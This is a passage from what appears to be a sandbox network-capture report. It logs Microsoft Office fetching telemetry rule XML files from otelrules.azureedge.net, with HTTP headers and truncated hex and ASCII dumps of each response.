<?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49855	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:31 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:31 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:31 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: df9daa11-401e-0067-172f-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114531Z-r197bdfb6b4skzzvqpzzd3xetg00000001ag000000004z7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:31 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49856	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:31 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:31 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:31 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114531Z-16849878b78j7llf5vkyvvcehs000000030g00000000amqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:31 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49857	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:31 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:31 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114531Z-16849878b78fkwcjkpn19c5dsn00000000wg00000000e282 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49858	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:31 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:31 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114531Z-16849878b78j7llf5vkyvvcehs00000002z000000000d2by x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49859	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:31 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:32 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: d2bdf8af-801e-0078-25f4-24bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114532Z-r197bdfb6b4hsj5bywyqk9r2xw00000003ag0000000064e2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49860	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:32 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:32 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:32 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114532Z-16849878b78km6fmmkbenhx76n000000019g0000000094eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:32 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49861	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:32 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:32 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: eb22034c-601e-0070-2f28-26a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114532Z-r197bdfb6b4d9xksru4x6qbqr0000000020g000000001hxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:32 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49862	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:32 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:32 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: e014a2e3-501e-0035-060b-22c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114532Z-16849878b78z5q7jpbgf6e9mcw0000000at0000000006dnu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49863	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:32 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:32 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 5383d0ca-b01e-0053-2a56-26cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114532Z-r197bdfb6b4jlq9hb8xf0re6t400000001wg0000000095bz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49864	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:32 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:32 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:32 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4113dc96-c01e-008e-5a2a-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114532Z-16849878b78km6fmmkbenhx76n00000001e00000000000ah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:32 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49866	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:33 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:33 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:33 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114533Z-16849878b7867ttgfbpnfxt44s00000001s000000000e2pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:33 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49865	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:33 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
